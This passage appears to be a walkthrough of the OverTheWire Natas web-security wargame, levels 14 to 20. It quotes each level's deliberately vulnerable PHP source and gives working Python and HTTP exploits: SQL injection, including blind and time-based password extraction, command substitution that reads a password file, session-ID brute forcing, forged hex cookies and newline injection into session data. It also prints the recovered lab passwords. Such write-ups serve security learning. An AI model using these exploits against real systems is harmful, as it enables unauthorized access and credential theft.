if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Try natas15" -- and no password:

Error:

Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in /var/www/natas/natas14/index.php on line 24

Looking better at the code, we need to comment out the PHP code, not the SQL query: try natas15" #. This works:

Successful login! The password for natas15 is SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

Natas 15

Credentials

Username: natas15

Password: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx

URL: http://natas15.natas.labs.overthewire.org

Message

Username: …

Check existence

Solution

Source code (link):

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Try to brute-force the password using the following Python script:

import requests
import string

url = "http://natas15.natas.labs.overthewire.org"
natas15_username = "natas15"
natas15_password = "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx"

success_phrase = "This user exists."

characters = "".join([string.ascii_letters, string.digits])


def find_password_letters():
    letters = []
    print("Finding password letters...")
    for c in characters:
        uri = url + '?username=natas16"+and+password+LIKE+BINARY+"%' + c + '%&debug'
        r = requests.get(uri, auth=(natas15_username, natas15_password))
        if success_phrase in r.text:
            letters.append(c)
    print("All password letters found!")
    return letters


def brute_force_password(password_letters):
    print("Brute-forcing password...")
    password = ""
    for _ in range(1, 64):
        for c in password_letters:
            test = password + c
            uri = url + '?username=natas16"+and+password+LIKE+BINARY+"' + test + '%&debug'
            resp = requests.get(uri, auth=(natas15_username, natas15_password))
            if success_phrase in resp.text:
                password += c
    print("Brute-forcing password complete!")
    return password


if __name__ == "__main__":
    letters = find_password_letters()
    password = brute_force_password(letters)
    print("Password: ", password)

Execution:

$ python natas15.py
Finding password letters...
All password letters found!
Brute-forcing password...
Brute-forcing password complete!
Password:  hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

Natas 16

Credentials

Username: natas16

Password: hPkjKYviLQctEW33QmuXL6eDVfMW4sGo

URL: http://natas16.natas.labs.overthewire.org

Message

For security reasons, we now filter even more on certain characters

Find words containing: … Search

Output: …

Solution

Source code (link):

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Try to brute-force as before:

import requests
import string

letters = "".join([string.ascii_letters, string.digits])
url = "http://natas16.natas.labs.overthewire.org"
natas16_username = "natas16"
natas16_password = "hPkjKYviLQctEW33QmuXL6eDVfMW4sGo"


def brute_force_password():
    password = ""
    while len(password) < 32:
        for c in letters:
            test = '$(grep -E ^' + password + c + \
                '.* /etc/natas_webpass/natas17)'
            uri = url + '?needle=' + test + '&submit=Search'
            resp = requests.get(uri, auth=(natas16_username, natas16_password))
            if len(resp.text) == 1105:
                password += c
                break
    return password


if __name__ == "__main__":
    password = brute_force_password()
    print(password)

Execution:

$ python natas16.py
EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

Natas 17

Credentials

Username: natas17

Password: EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

URL: http://natas17.natas.labs.overthewire.org

Message

Requires a username in an input field.

Solution

The source code (linked):

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Use a Python script:

import requests
import string

url = "http://natas17.natas.labs.overthewire.org/index.php?debug"
natas17_username = "natas17"
natas17_password = "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

chars = string.digits + string.ascii_letters


def find_letter(letter: str, password: str) -> str:
    body = f"username=natas18\" and password like binary '{password + letter}%' and sleep(5) #"
    resp = requests.post(url, auth=(
        natas17_username, natas17_password), headers=headers, data=body)
    if resp.elapsed.total_seconds() > 3:
        return letter
    return None


def find_password() -> str:
    password = ""
    while len(password) < 32:
        for letter in chars:
            next_letter = find_letter(letter, password)
            if next_letter is not None:
                password += letter
    return password


if __name__ == "__main__":
    password = find_password()
    print(f"Found password: {password}")

This gives:

$ python natas17.py
Found password: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ

Natas 18

Credentials

Username: natas18

Password: 6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ

URL: http://natas18.natas.labs.overthewire.org

Message

Requires the admin credentials: username and password.

Solution

Source code provided:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() {
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}

function isValidID($id) {
    return is_numeric($id);
}

function createID($user) {
    global $maxid;
    return rand(1, $maxid);
}

function debug($msg) {
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

function my_session_start() {
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}


$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

The PHP part only:

<?php

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() {
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}

function isValidID($id) {
    return is_numeric($id);
}

function createID($user) {
    global $maxid;
    return rand(1, $maxid);
}

function debug($msg) {
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

function my_session_start() {
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}


$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
}

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>

Python script:

import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas18', '6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ')

count = 1
max_count = 640

url = "http://natas18.natas.labs.overthewire.org/index.php?debug"


def check_session_id(count: int) -> None:
    cookie = "PHPSESSID=" + str(count)
    headers = {'Cookie': cookie}
    response = requests.get(url, headers=headers,
                            auth=basic_auth, verify=False)

    if "You are logged in as a regular user" not in response.text:
        print(response.text)


if __name__ == '__main__':
    for count in range(max_count + 1):
        check_session_id(count)

Result:

$ python experiment.py
Traceback (most recent call last):
  File "/Users/elia/Source/MyStuff/elman23.github.io/OverTheWire/natas/experiment.py", line 24, in <module>
    check_session_id(count)
  File "/Users/elia/Source/MyStuff/elman23.github.io/OverTheWire/natas/experiment.py", line 13, in check_session_id
    cookie = "PHPSESSID=" + count
TypeError: can only concatenate str (not "int") to str
╭─elia@pearl ~/Source/MyStuff/elman23.github.io/OverTheWire/natas ‹main●›
╰─$ python experiment.py                                                    1 ↵
PHPSESSID=119
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Natas 19

Credentials

Username: natas19

Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr

URL: http://natas19.natas.labs.overthewire.org

Message

This page uses mostly the same code as the previous level, but session IDs are no longer sequential…

Please login with your admin account to retrieve credentials for natas20.

The website then requests a username and a password.

Solution

We explore the request sending obviously wrong credentials:

import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas19', 'tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr')


url = "http://natas19.natas.labs.overthewire.org/index.php"


def check_session_id(session_id: str) -> str:
    cookie = "PHPSESSID=" + session_id
    headers = {'Content-Type': 'text/html; charset=UTF-8',
               'Cookie': cookie}
    body = {"username": "asd", "password": "asd"}
    response = requests.post(url, headers=headers,
                             auth=basic_auth, json=body, verify=False)
    return response.text


if __name__ == '__main__':
    text = check_session_id("3338302d617364")
    print(text)

Which gives us:

$ python natas19.py
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.</div>
</body>
</html>

The value of the cookie, 3338302d617364, is copied from the same request sent through the browser.

We use CyberChef to decode the cookie: 3338302d617364 is simply hex encoding of 380-asd.

Encoding and decoding from hexadecimal in Python can be done using base64:

>>> import base64
>>> base64.b16encode(b"380-asd").lower()
b'3338302d617364'

We write the script:

import base64
import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas19', 'tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr')

count = 1
max_count = 640
url = "http://natas19.natas.labs.overthewire.org/index.php"


def encode_cookie(cookie: str) -> str:
    encoded_cookie = base64.b16encode(cookie.encode('ascii')).lower()
    return encoded_cookie.decode('ascii')


def check_session_id(count: int, username: str) -> str:
    to_encode = str(count) + "-" + username
    cookie = "PHPSESSID=" + encode_cookie(to_encode)
    headers = {'Content-Type': 'text/html; charset=UTF-8',
               'Cookie': cookie}
    body = {"username": "asd", "password": "asd"}
    response = requests.post(url, headers=headers,
                             auth=basic_auth, json=body, verify=False)
    return response.text


if __name__ == '__main__':
    for count in range(max_count + 1):
        text = check_session_id(count, "admin")
        if "You are logged in as a regular user." not in text:
            print(text)
            break

The execution gives:

$ python natas19.py
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw</pre></div>
</body>
</html>

Natas 20

Credentials

Username: natas20

Password: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw

URL: http://natas20.natas.labs.overthewire.org

Message

You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.

Requires a name.

Solution

We are given the source code:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
<?php

function debug($msg) {
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}


/* we don't need this */
function myopen($path, $name) {
    //debug("MYOPEN $path $name");
    return true;
}

/* we don't need this */
function myclose() {
    //debug("MYCLOSE");
    return true;
}

function myread($sid) {
    debug("MYREAD $sid");
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode() ?: "";
}

function mywrite($sid, $data) {
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
    return true;
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid");
    return true;
}
/* we don't need this */
function mygarbage($t) {
    //debug("MYGARBAGE $t");
    return true;
}

session_set_save_handler(
    "myopen",
    "myclose",
    "myread",
    "mywrite",
    "mydestroy",
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?>

<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

The PHP part:

<?php

function debug($msg) {
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

function print_credentials() {
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}


/* we don't need this */
function myopen($path, $name) {
    //debug("MYOPEN $path $name");
    return true;
}

/* we don't need this */
function myclose() {
    //debug("MYCLOSE");
    return true;
}

function myread($sid) {
    debug("MYREAD $sid");
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode() ?: "";
}

function mywrite($sid, $data) {
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
    return true;
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid");
    return true;
}
/* we don't need this */
function mygarbage($t) {
    //debug("MYGARBAGE $t");
    return true;
}

session_set_save_handler(
    "myopen",
    "myclose",
    "myread",
    "mywrite",
    "mydestroy",
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?>

There is a debug funciton, which supposedly gives the functionality of debug messages when passed ?debug in the request.

In fact, calling http://natas20.natas.labs.overthewire.org/index.php?debug and passing as name asd with the script

import base64
import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas20', 'p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw')

url = "http://natas20.natas.labs.overthewire.org/index.php?debug"


def encode_cookie(cookie: str) -> str:
    encoded_cookie = base64.b16encode(cookie.encode('ascii')).lower()
    return encoded_cookie.decode('ascii')


def send_request() -> str:
    cookie = "PHPSESSID=" + "brafbmkkbb2tmhhrn5m68r36n2"
    headers = {'Content-Type': 'text/html; charset=UTF-8',
               'Cookie': cookie}
    body = {"name": "asd"}
    response = requests.post(url, headers=headers,
                             auth=basic_auth, json=body, verify=False)
    return response.text


if __name__ == '__main__':
    text = send_request()
    print(text)

we get the message:

$ python  natas20.py
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
DEBUG: MYREAD brafbmkkbb2tmhhrn5m68r36n2<br>DEBUG: Session file doesn't exist<br>You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
<form action="index.php" method="POST">
Your name: <input name="name" value=""><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
DEBUG: MYWRITE brafbmkkbb2tmhhrn5m68r36n2 <br>DEBUG: Saving in /var/lib/php/sessions/mysess_brafbmkkbb2tmhhrn5m68r36n2<br>

The functions myread and mywrite need to be read carefully.

The file is created in a first call, then read in the second. So we shall call the API twice, as in the following script:

import base64
import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas20', 'p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw')

url = "http://natas20.natas.labs.overthewire.org/index.php?debug"


def send_request() -> str:
    cookie = "PHPSESSID=" + "admin"
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
               'Cookie': cookie}
    body = "name=test\nadmin 1"
    response = requests.post(url, headers=headers,
                             auth=basic_auth, data=body, verify=False)
    return response.text


if __name__ == '__main__':
    text = send_request()
    text = send_request()
    print(text)

This is equivalent to sending twice (eg. with Burp) the following POST request:

POST /index.php?debug HTTP/1.1
Host: natas20.natas.labs.overthewire.org
User-Agent: [UNDISCLOSED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://natas20.natas.labs.overthewire.org
Authorization: Basic bmF0YXMyMDpwNW1DdlA3R1MySzZCbXQzZ3FoTTJGYzFBNVQ4TVZ5dw==
Connection: keep-alive
Referer: http://natas20.natas.labs.overthewire.org/index.php
Cookie: PHPSESSID=969hrbu40iem1f32c61essr8ev
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i

name=test
admin 1

The second call gives the response:

HTTP/1.1 200 OK
Date: Sun, 20 Oct 2024 14:04:36 GMT
Server: Apache/2.4.58 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1619
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
